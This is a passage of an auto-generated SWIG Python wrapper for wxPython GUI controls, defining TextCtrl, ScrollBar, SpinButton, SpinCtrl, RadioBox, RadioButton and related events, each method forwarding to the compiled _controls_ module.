"""GetLineLength(self, long lineNo) -> int"""
return _controls_.TextCtrl_GetLineLength(*args, **kwargs)
def GetLineText(*args, **kwargs):
"""GetLineText(self, long lineNo) -> String"""
return _controls_.TextCtrl_GetLineText(*args, **kwargs)
def GetNumberOfLines(*args, **kwargs):
"""GetNumberOfLines(self) -> int"""
return _controls_.TextCtrl_GetNumberOfLines(*args, **kwargs)
def IsModified(*args, **kwargs):
"""IsModified(self) -> bool"""
return _controls_.TextCtrl_IsModified(*args, **kwargs)
def IsEditable(*args, **kwargs):
"""IsEditable(self) -> bool"""
return _controls_.TextCtrl_IsEditable(*args, **kwargs)
def IsSingleLine(*args, **kwargs):
"""IsSingleLine(self) -> bool"""
return _controls_.TextCtrl_IsSingleLine(*args, **kwargs)
def IsMultiLine(*args, **kwargs):
"""IsMultiLine(self) -> bool"""
return _controls_.TextCtrl_IsMultiLine(*args, **kwargs)
def GetSelection(*args, **kwargs):
"""
GetSelection() -> (from, to)
If the return values from and to are the same, there is no selection.
"""
return _controls_.TextCtrl_GetSelection(*args, **kwargs)
def GetStringSelection(*args, **kwargs):
"""GetStringSelection(self) -> String"""
return _controls_.TextCtrl_GetStringSelection(*args, **kwargs)
def Clear(*args, **kwargs):
"""Clear(self)"""
return _controls_.TextCtrl_Clear(*args, **kwargs)
def Replace(*args, **kwargs):
"""Replace(self, long from, long to, String value)"""
return _controls_.TextCtrl_Replace(*args, **kwargs)
def Remove(*args, **kwargs):
"""Remove(self, long from, long to)"""
return _controls_.TextCtrl_Remove(*args, **kwargs)
def LoadFile(*args, **kwargs):
"""LoadFile(self, String file, int fileType=TEXT_TYPE_ANY) -> bool"""
return _controls_.TextCtrl_LoadFile(*args, **kwargs)
def SaveFile(*args, **kwargs):
"""SaveFile(self, String file=EmptyString, int fileType=TEXT_TYPE_ANY) -> bool"""
return _controls_.TextCtrl_SaveFile(*args, **kwargs)
def MarkDirty(*args, **kwargs):
"""MarkDirty(self)"""
return _controls_.TextCtrl_MarkDirty(*args, **kwargs)
def DiscardEdits(*args, **kwargs):
"""DiscardEdits(self)"""
return _controls_.TextCtrl_DiscardEdits(*args, **kwargs)
def SetModified(*args, **kwargs):
"""SetModified(self, bool modified)"""
return _controls_.TextCtrl_SetModified(*args, **kwargs)
def SetMaxLength(*args, **kwargs):
"""SetMaxLength(self, unsigned long len)"""
return _controls_.TextCtrl_SetMaxLength(*args, **kwargs)
def WriteText(*args, **kwargs):
"""WriteText(self, String text)"""
return _controls_.TextCtrl_WriteText(*args, **kwargs)
def AppendText(*args, **kwargs):
"""AppendText(self, String text)"""
return _controls_.TextCtrl_AppendText(*args, **kwargs)
def EmulateKeyPress(*args, **kwargs):
"""EmulateKeyPress(self, KeyEvent event) -> bool"""
return _controls_.TextCtrl_EmulateKeyPress(*args, **kwargs)
def SetStyle(*args, **kwargs):
"""SetStyle(self, long start, long end, TextAttr style) -> bool"""
return _controls_.TextCtrl_SetStyle(*args, **kwargs)
def GetStyle(*args, **kwargs):
"""GetStyle(self, long position, TextAttr style) -> bool"""
return _controls_.TextCtrl_GetStyle(*args, **kwargs)
def SetDefaultStyle(*args, **kwargs):
"""SetDefaultStyle(self, TextAttr style) -> bool"""
return _controls_.TextCtrl_SetDefaultStyle(*args, **kwargs)
def GetDefaultStyle(*args, **kwargs):
"""GetDefaultStyle(self) -> TextAttr"""
return _controls_.TextCtrl_GetDefaultStyle(*args, **kwargs)
def XYToPosition(*args, **kwargs):
"""XYToPosition(self, long x, long y) -> long"""
return _controls_.TextCtrl_XYToPosition(*args, **kwargs)
def PositionToXY(*args, **kwargs):
"""PositionToXY(long pos) -> (x, y)"""
return _controls_.TextCtrl_PositionToXY(*args, **kwargs)
def ShowPosition(*args, **kwargs):
"""ShowPosition(self, long pos)"""
return _controls_.TextCtrl_ShowPosition(*args, **kwargs)
def HitTest(*args, **kwargs):
"""
HitTest(Point pt) -> (result, col, row)
Find the row, col coresponding to the character at the point given in
pixels. NB: pt is in device coords but is not adjusted for the client
area origin nor scrolling.
"""
return _controls_.TextCtrl_HitTest(*args, **kwargs)
def HitTestPos(*args, **kwargs):
"""
HitTestPos(Point pt) -> (result, position)
Find the character position in the text coresponding to the point
given in pixels. NB: pt is in device coords but is not adjusted for
the client area origin nor scrolling.
"""
return _controls_.TextCtrl_HitTestPos(*args, **kwargs)
def Copy(*args, **kwargs):
"""Copy(self)"""
return _controls_.TextCtrl_Copy(*args, **kwargs)
def Cut(*args, **kwargs):
"""Cut(self)"""
return _controls_.TextCtrl_Cut(*args, **kwargs)
def Paste(*args, **kwargs):
"""Paste(self)"""
return _controls_.TextCtrl_Paste(*args, **kwargs)
def CanCopy(*args, **kwargs):
"""CanCopy(self) -> bool"""
return _controls_.TextCtrl_CanCopy(*args, **kwargs)
def CanCut(*args, **kwargs):
"""CanCut(self) -> bool"""
return _controls_.TextCtrl_CanCut(*args, **kwargs)
def CanPaste(*args, **kwargs):
"""CanPaste(self) -> bool"""
return _controls_.TextCtrl_CanPaste(*args, **kwargs)
def Undo(*args, **kwargs):
"""Undo(self)"""
return _controls_.TextCtrl_Undo(*args, **kwargs)
def Redo(*args, **kwargs):
"""Redo(self)"""
return _controls_.TextCtrl_Redo(*args, **kwargs)
def CanUndo(*args, **kwargs):
"""CanUndo(self) -> bool"""
return _controls_.TextCtrl_CanUndo(*args, **kwargs)
def CanRedo(*args, **kwargs):
"""CanRedo(self) -> bool"""
return _controls_.TextCtrl_CanRedo(*args, **kwargs)
def SetInsertionPoint(*args, **kwargs):
"""SetInsertionPoint(self, long pos)"""
return _controls_.TextCtrl_SetInsertionPoint(*args, **kwargs)
def SetInsertionPointEnd(*args, **kwargs):
"""SetInsertionPointEnd(self)"""
return _controls_.TextCtrl_SetInsertionPointEnd(*args, **kwargs)
def GetInsertionPoint(*args, **kwargs):
"""GetInsertionPoint(self) -> long"""
return _controls_.TextCtrl_GetInsertionPoint(*args, **kwargs)
def GetLastPosition(*args, **kwargs):
"""GetLastPosition(self) -> long"""
return _controls_.TextCtrl_GetLastPosition(*args, **kwargs)
def SetSelection(*args, **kwargs):
"""SetSelection(self, long from, long to)"""
return _controls_.TextCtrl_SetSelection(*args, **kwargs)
def SelectAll(*args, **kwargs):
"""SelectAll(self)"""
return _controls_.TextCtrl_SelectAll(*args, **kwargs)
def SetEditable(*args, **kwargs):
"""SetEditable(self, bool editable)"""
return _controls_.TextCtrl_SetEditable(*args, **kwargs)
def MacCheckSpelling(*args, **kwargs):
"""MacCheckSpelling(self, bool check)"""
return _controls_.TextCtrl_MacCheckSpelling(*args, **kwargs)
def SendTextUpdatedEvent(*args, **kwargs):
"""SendTextUpdatedEvent(self)"""
return _controls_.TextCtrl_SendTextUpdatedEvent(*args, **kwargs)
def ShowNativeCaret(*args, **kwargs):
"""ShowNativeCaret(self, bool show=True) -> bool"""
return _controls_.TextCtrl_ShowNativeCaret(*args, **kwargs)
def HideNativeCaret(*args, **kwargs):
"""HideNativeCaret(self) -> bool"""
return _controls_.TextCtrl_HideNativeCaret(*args, **kwargs)
def write(*args, **kwargs):
"""write(self, String text)"""
return _controls_.TextCtrl_write(*args, **kwargs)
def GetString(*args, **kwargs):
"""GetString(self, long from, long to) -> String"""
return _controls_.TextCtrl_GetString(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.TextCtrl_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
DefaultStyle = property(GetDefaultStyle,SetDefaultStyle,doc="See `GetDefaultStyle` and `SetDefaultStyle`")
InsertionPoint = property(GetInsertionPoint,SetInsertionPoint,doc="See `GetInsertionPoint` and `SetInsertionPoint`")
LastPosition = property(GetLastPosition,doc="See `GetLastPosition`")
NumberOfLines = property(GetNumberOfLines,doc="See `GetNumberOfLines`")
Selection = property(GetSelection,SetSelection,doc="See `GetSelection` and `SetSelection`")
StringSelection = property(GetStringSelection,doc="See `GetStringSelection`")
Value = property(GetValue,SetValue,doc="See `GetValue` and `SetValue`")
_controls_.TextCtrl_swigregister(TextCtrl)
def PreTextCtrl(*args, **kwargs):
"""PreTextCtrl() -> TextCtrl"""
val = _controls_.new_PreTextCtrl(*args, **kwargs)
return val
def TextCtrl_GetClassDefaultAttributes(*args, **kwargs):
"""
TextCtrl_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.TextCtrl_GetClassDefaultAttributes(*args, **kwargs)
wxEVT_COMMAND_TEXT_UPDATED = _controls_.wxEVT_COMMAND_TEXT_UPDATED
wxEVT_COMMAND_TEXT_ENTER = _controls_.wxEVT_COMMAND_TEXT_ENTER
wxEVT_COMMAND_TEXT_URL = _controls_.wxEVT_COMMAND_TEXT_URL
wxEVT_COMMAND_TEXT_MAXLEN = _controls_.wxEVT_COMMAND_TEXT_MAXLEN
class TextUrlEvent(_core.CommandEvent):
"""Proxy of C++ TextUrlEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self, int winid, MouseEvent evtMouse, long start, long end) -> TextUrlEvent"""
_controls_.TextUrlEvent_swiginit(self,_controls_.new_TextUrlEvent(*args, **kwargs))
def GetMouseEvent(*args, **kwargs):
"""GetMouseEvent(self) -> MouseEvent"""
return _controls_.TextUrlEvent_GetMouseEvent(*args, **kwargs)
def GetURLStart(*args, **kwargs):
"""GetURLStart(self) -> long"""
return _controls_.TextUrlEvent_GetURLStart(*args, **kwargs)
def GetURLEnd(*args, **kwargs):
"""GetURLEnd(self) -> long"""
return _controls_.TextUrlEvent_GetURLEnd(*args, **kwargs)
MouseEvent = property(GetMouseEvent,doc="See `GetMouseEvent`")
URLEnd = property(GetURLEnd,doc="See `GetURLEnd`")
URLStart = property(GetURLStart,doc="See `GetURLStart`")
_controls_.TextUrlEvent_swigregister(TextUrlEvent)
EVT_TEXT = wx.PyEventBinder( wxEVT_COMMAND_TEXT_UPDATED, 1)
EVT_TEXT_ENTER = wx.PyEventBinder( wxEVT_COMMAND_TEXT_ENTER, 1)
EVT_TEXT_URL = wx.PyEventBinder( wxEVT_COMMAND_TEXT_URL, 1)
EVT_TEXT_MAXLEN = wx.PyEventBinder( wxEVT_COMMAND_TEXT_MAXLEN, 1)
#---------------------------------------------------------------------------
class ScrollBar(_core.Control):
"""Proxy of C++ ScrollBar class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=SB_HORIZONTAL,
Validator validator=DefaultValidator, String name=ScrollBarNameStr) -> ScrollBar
"""
_controls_.ScrollBar_swiginit(self,_controls_.new_ScrollBar(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=SB_HORIZONTAL,
Validator validator=DefaultValidator, String name=ScrollBarNameStr) -> bool
Do the 2nd phase and create the GUI control.
"""
return _controls_.ScrollBar_Create(*args, **kwargs)
def GetThumbPosition(*args, **kwargs):
"""GetThumbPosition(self) -> int"""
return _controls_.ScrollBar_GetThumbPosition(*args, **kwargs)
def GetThumbSize(*args, **kwargs):
"""GetThumbSize(self) -> int"""
return _controls_.ScrollBar_GetThumbSize(*args, **kwargs)
GetThumbLength = GetThumbSize
def GetPageSize(*args, **kwargs):
"""GetPageSize(self) -> int"""
return _controls_.ScrollBar_GetPageSize(*args, **kwargs)
def GetRange(*args, **kwargs):
"""GetRange(self) -> int"""
return _controls_.ScrollBar_GetRange(*args, **kwargs)
def IsVertical(*args, **kwargs):
"""IsVertical(self) -> bool"""
return _controls_.ScrollBar_IsVertical(*args, **kwargs)
def SetThumbPosition(*args, **kwargs):
"""SetThumbPosition(self, int viewStart)"""
return _controls_.ScrollBar_SetThumbPosition(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ScrollBar_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
PageSize = property(GetPageSize,doc="See `GetPageSize`")
Range = property(GetRange,doc="See `GetRange`")
ThumbPosition = property(GetThumbPosition,SetThumbPosition,doc="See `GetThumbPosition` and `SetThumbPosition`")
ThumbSize = property(GetThumbSize,doc="See `GetThumbSize`")
_controls_.ScrollBar_swigregister(ScrollBar)
ScrollBarNameStr = cvar.ScrollBarNameStr
def PreScrollBar(*args, **kwargs):
"""PreScrollBar() -> ScrollBar"""
val = _controls_.new_PreScrollBar(*args, **kwargs)
return val
def ScrollBar_GetClassDefaultAttributes(*args, **kwargs):
"""
ScrollBar_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ScrollBar_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
SP_HORIZONTAL = _controls_.SP_HORIZONTAL
SP_VERTICAL = _controls_.SP_VERTICAL
SP_ARROW_KEYS = _controls_.SP_ARROW_KEYS
SP_WRAP = _controls_.SP_WRAP
class SpinButton(_core.Control):
"""Proxy of C++ SpinButton class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=SP_HORIZONTAL,
String name=SPIN_BUTTON_NAME) -> SpinButton
"""
_controls_.SpinButton_swiginit(self,_controls_.new_SpinButton(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=SP_HORIZONTAL,
String name=SPIN_BUTTON_NAME) -> bool
"""
return _controls_.SpinButton_Create(*args, **kwargs)
def GetValue(*args, **kwargs):
"""GetValue(self) -> int"""
return _controls_.SpinButton_GetValue(*args, **kwargs)
def GetMin(*args, **kwargs):
"""GetMin(self) -> int"""
return _controls_.SpinButton_GetMin(*args, **kwargs)
def GetMax(*args, **kwargs):
"""GetMax(self) -> int"""
return _controls_.SpinButton_GetMax(*args, **kwargs)
def SetValue(*args, **kwargs):
"""SetValue(self, int val)"""
return _controls_.SpinButton_SetValue(*args, **kwargs)
def SetMin(*args, **kwargs):
"""SetMin(self, int minVal)"""
return _controls_.SpinButton_SetMin(*args, **kwargs)
def SetMax(*args, **kwargs):
"""SetMax(self, int maxVal)"""
return _controls_.SpinButton_SetMax(*args, **kwargs)
def SetRange(*args, **kwargs):
"""SetRange(self, int minVal, int maxVal)"""
return _controls_.SpinButton_SetRange(*args, **kwargs)
def IsVertical(*args, **kwargs):
"""IsVertical(self) -> bool"""
return _controls_.SpinButton_IsVertical(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.SpinButton_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
Max = property(GetMax,SetMax,doc="See `GetMax` and `SetMax`")
Min = property(GetMin,SetMin,doc="See `GetMin` and `SetMin`")
Value = property(GetValue,SetValue,doc="See `GetValue` and `SetValue`")
_controls_.SpinButton_swigregister(SpinButton)
SPIN_BUTTON_NAME = cvar.SPIN_BUTTON_NAME
SpinCtrlNameStr = cvar.SpinCtrlNameStr
def PreSpinButton(*args, **kwargs):
"""PreSpinButton() -> SpinButton"""
val = _controls_.new_PreSpinButton(*args, **kwargs)
return val
def SpinButton_GetClassDefaultAttributes(*args, **kwargs):
"""
SpinButton_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.SpinButton_GetClassDefaultAttributes(*args, **kwargs)
class SpinCtrl(_core.Control):
"""Proxy of C++ SpinCtrl class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String value=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=SP_ARROW_KEYS, int min=0, int max=100,
int initial=0, String name=SpinCtrlNameStr) -> SpinCtrl
"""
_controls_.SpinCtrl_swiginit(self,_controls_.new_SpinCtrl(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String value=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=SP_ARROW_KEYS, int min=0, int max=100,
int initial=0, String name=SpinCtrlNameStr) -> bool
"""
return _controls_.SpinCtrl_Create(*args, **kwargs)
def GetValue(*args, **kwargs):
"""GetValue(self) -> int"""
return _controls_.SpinCtrl_GetValue(*args, **kwargs)
def SetValue(*args, **kwargs):
"""SetValue(self, int value)"""
return _controls_.SpinCtrl_SetValue(*args, **kwargs)
def SetValueString(*args, **kwargs):
"""SetValueString(self, String text)"""
return _controls_.SpinCtrl_SetValueString(*args, **kwargs)
def SetRange(*args, **kwargs):
"""SetRange(self, int minVal, int maxVal)"""
return _controls_.SpinCtrl_SetRange(*args, **kwargs)
def GetMin(*args, **kwargs):
"""GetMin(self) -> int"""
return _controls_.SpinCtrl_GetMin(*args, **kwargs)
def GetMax(*args, **kwargs):
"""GetMax(self) -> int"""
return _controls_.SpinCtrl_GetMax(*args, **kwargs)
def SetSelection(*args, **kwargs):
"""SetSelection(self, long from, long to)"""
return _controls_.SpinCtrl_SetSelection(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.SpinCtrl_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
Max = property(GetMax,doc="See `GetMax`")
Min = property(GetMin,doc="See `GetMin`")
Value = property(GetValue,SetValue,doc="See `GetValue` and `SetValue`")
_controls_.SpinCtrl_swigregister(SpinCtrl)
def PreSpinCtrl(*args, **kwargs):
"""PreSpinCtrl() -> SpinCtrl"""
val = _controls_.new_PreSpinCtrl(*args, **kwargs)
return val
def SpinCtrl_GetClassDefaultAttributes(*args, **kwargs):
"""
SpinCtrl_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.SpinCtrl_GetClassDefaultAttributes(*args, **kwargs)
class SpinEvent(_core.NotifyEvent):
"""Proxy of C++ SpinEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self, EventType commandType=wxEVT_NULL, int winid=0) -> SpinEvent"""
_controls_.SpinEvent_swiginit(self,_controls_.new_SpinEvent(*args, **kwargs))
def GetPosition(*args, **kwargs):
"""GetPosition(self) -> int"""
return _controls_.SpinEvent_GetPosition(*args, **kwargs)
def SetPosition(*args, **kwargs):
"""SetPosition(self, int pos)"""
return _controls_.SpinEvent_SetPosition(*args, **kwargs)
Position = property(GetPosition,SetPosition,doc="See `GetPosition` and `SetPosition`")
_controls_.SpinEvent_swigregister(SpinEvent)
wxEVT_COMMAND_SPINCTRL_UPDATED = _controls_.wxEVT_COMMAND_SPINCTRL_UPDATED
EVT_SPIN_UP = wx.PyEventBinder( wx.wxEVT_SCROLL_LINEUP, 1)
EVT_SPIN_DOWN = wx.PyEventBinder( wx.wxEVT_SCROLL_LINEDOWN, 1)
EVT_SPIN = wx.PyEventBinder( wx.wxEVT_SCROLL_THUMBTRACK, 1)
EVT_SPINCTRL = wx.PyEventBinder( wxEVT_COMMAND_SPINCTRL_UPDATED, 1)
#---------------------------------------------------------------------------
class RadioBox(_core.Control):
"""Proxy of C++ RadioBox class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
wxArrayString choices=wxPyEmptyStringArray,
int majorDimension=0, long style=RA_HORIZONTAL,
Validator validator=DefaultValidator,
String name=RadioBoxNameStr) -> RadioBox
"""
if kwargs.has_key('point'): kwargs['pos'] = kwargs['point'];del kwargs['point']
_controls_.RadioBox_swiginit(self,_controls_.new_RadioBox(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
wxArrayString choices=wxPyEmptyStringArray,
int majorDimension=0, long style=RA_HORIZONTAL,
Validator validator=DefaultValidator,
String name=RadioBoxNameStr) -> bool
"""
return _controls_.RadioBox_Create(*args, **kwargs)
def SetSelection(*args, **kwargs):
"""SetSelection(self, int n)"""
return _controls_.RadioBox_SetSelection(*args, **kwargs)
def GetSelection(*args, **kwargs):
"""GetSelection(self) -> int"""
return _controls_.RadioBox_GetSelection(*args, **kwargs)
def GetStringSelection(*args, **kwargs):
"""GetStringSelection(self) -> String"""
return _controls_.RadioBox_GetStringSelection(*args, **kwargs)
def SetStringSelection(*args, **kwargs):
"""SetStringSelection(self, String s) -> bool"""
return _controls_.RadioBox_SetStringSelection(*args, **kwargs)
def GetCount(*args, **kwargs):
"""GetCount(self) -> size_t"""
return _controls_.RadioBox_GetCount(*args, **kwargs)
def FindString(*args, **kwargs):
"""FindString(self, String s) -> int"""
return _controls_.RadioBox_FindString(*args, **kwargs)
def GetString(*args, **kwargs):
"""GetString(self, int n) -> String"""
return _controls_.RadioBox_GetString(*args, **kwargs)
def SetString(*args, **kwargs):
"""SetString(self, int n, String label)"""
return _controls_.RadioBox_SetString(*args, **kwargs)
GetItemLabel = GetString
SetItemLabel = SetString
def EnableItem(*args, **kwargs):
"""EnableItem(self, unsigned int n, bool enable=True)"""
return _controls_.RadioBox_EnableItem(*args, **kwargs)
def ShowItem(*args, **kwargs):
"""ShowItem(self, unsigned int n, bool show=True)"""
return _controls_.RadioBox_ShowItem(*args, **kwargs)
def IsItemEnabled(*args, **kwargs):
"""IsItemEnabled(self, unsigned int n) -> bool"""
return _controls_.RadioBox_IsItemEnabled(*args, **kwargs)
def IsItemShown(*args, **kwargs):
"""IsItemShown(self, unsigned int n) -> bool"""
return _controls_.RadioBox_IsItemShown(*args, **kwargs)
def GetColumnCount(*args, **kwargs):
"""GetColumnCount(self) -> unsigned int"""
return _controls_.RadioBox_GetColumnCount(*args, **kwargs)
def GetRowCount(*args, **kwargs):
"""GetRowCount(self) -> unsigned int"""
return _controls_.RadioBox_GetRowCount(*args, **kwargs)
def GetNextItem(*args, **kwargs):
"""GetNextItem(self, int item, int dir, long style) -> int"""
return _controls_.RadioBox_GetNextItem(*args, **kwargs)
def SetItemToolTip(*args, **kwargs):
"""SetItemToolTip(self, unsigned int item, String text)"""
return _controls_.RadioBox_SetItemToolTip(*args, **kwargs)
def GetItemToolTip(*args, **kwargs):
"""GetItemToolTip(self, unsigned int item) -> ToolTip"""
return _controls_.RadioBox_GetItemToolTip(*args, **kwargs)
def SetItemHelpText(*args, **kwargs):
"""SetItemHelpText(self, unsigned int n, String helpText)"""
return _controls_.RadioBox_SetItemHelpText(*args, **kwargs)
def GetItemHelpText(*args, **kwargs):
"""GetItemHelpText(self, unsigned int n) -> String"""
return _controls_.RadioBox_GetItemHelpText(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.RadioBox_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
ColumnCount = property(GetColumnCount,doc="See `GetColumnCount`")
Count = property(GetCount,doc="See `GetCount`")
RowCount = property(GetRowCount,doc="See `GetRowCount`")
Selection = property(GetSelection,SetSelection,doc="See `GetSelection` and `SetSelection`")
StringSelection = property(GetStringSelection,SetStringSelection,doc="See `GetStringSelection` and `SetStringSelection`")
_controls_.RadioBox_swigregister(RadioBox)
RadioBoxNameStr = cvar.RadioBoxNameStr
RadioButtonNameStr = cvar.RadioButtonNameStr
def PreRadioBox(*args, **kwargs):
"""PreRadioBox() -> RadioBox"""
val = _controls_.new_PreRadioBox(*args, **kwargs)
return val
def RadioBox_GetClassDefaultAttributes(*args, **kwargs):
"""
RadioBox_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.RadioBox_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
class RadioButton(_core.Control):
"""Proxy of C++ RadioButton class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=RadioButtonNameStr) -> RadioButton
"""
_controls_.RadioButton_swiginit(self,_controls_.new_RadioButton(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, String label=EmptyString,
Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, Validator validator=DefaultValidator,
String name=RadioButtonNameStr) -> bool
"""
return _controls_.RadioButton_Create(*args, **kwargs)
def GetValue(*args, **kwargs):
"""GetValue(self) -> bool"""
return _controls_.RadioButton_GetValue(*args, **kwargs)
def SetValue(*args, **kwargs):
"""SetValue(self, bool value)"""
return _controls_.RadioButton_SetValue(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.RadioButton_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
Value = property(GetValue,SetValue,doc="See `GetValue` and `SetValue`")
